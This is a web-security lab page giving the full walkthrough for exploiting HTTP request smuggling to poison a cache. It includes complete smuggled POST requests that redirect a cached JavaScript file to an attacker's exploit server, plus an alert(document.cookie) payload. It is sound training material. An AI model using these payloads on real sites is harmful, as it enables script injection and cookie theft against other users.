Lab: Exploiting HTTP request smuggling to perform web cache poisoning

This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding. The front-end server is configured to cache certain responses.

To solve the lab, perform a request smuggling attack that causes the cache to be poisoned, such that a subsequent request for a JavaScript file receives a redirection to the exploit server. The poisoned cache should alert document.cookie.

Notes

  • Although the lab supports HTTP/2, the intended solution requires techniques that are only possible in HTTP/1. You can manually switch protocols in Burp Repeater from the Request attributes section of the Inspector panel.
  • The lab simulates the activity of a victim user. Every few POST requests that you make to the lab, the victim user will make their own request. You might need to repeat your attack a few times to ensure that the victim user's request occurs as required.

Tip

Manually fixing the length fields in request smuggling attacks can be tricky. Our HTTP Request Smuggler Burp extension was designed to help. You can install it via the BApp Store.

Solution

  1. Open a blog post, click "Next post", and try smuggling the resulting request with a different Host header:

    POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 129 Transfer-Encoding: chunked 0 GET /post/next?postId=3 HTTP/1.1 Host: anything Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=1
  2. Observe that you can use this request to make the next request to the website get redirected to /post on a host of your choice.
  3. Go to your exploit server, and create a text/javascript file at /post with the contents:

    alert(document.cookie)
  4. Poison the server cache by first relaunching the previous attack using your exploit server's hostname as follows:

    POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 193 Transfer-Encoding: chunked 0 GET /post/next?postId=3 HTTP/1.1 Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=1
  5. Then fetch /resources/js/tracking.js by sending the following request:

    GET /resources/js/tracking.js HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Connection: close

    If the attack has succeeded, the response to the tracking.js request should be a redirect to your exploit server.

  6. Confirm that the cache has been poisoned by repeating the request to tracking.js several times and confirming that you receive the redirect every time.

Note

You may need to repeat the POST/GET process several times before the attack succeeds.

Community solutions

Michael Sommer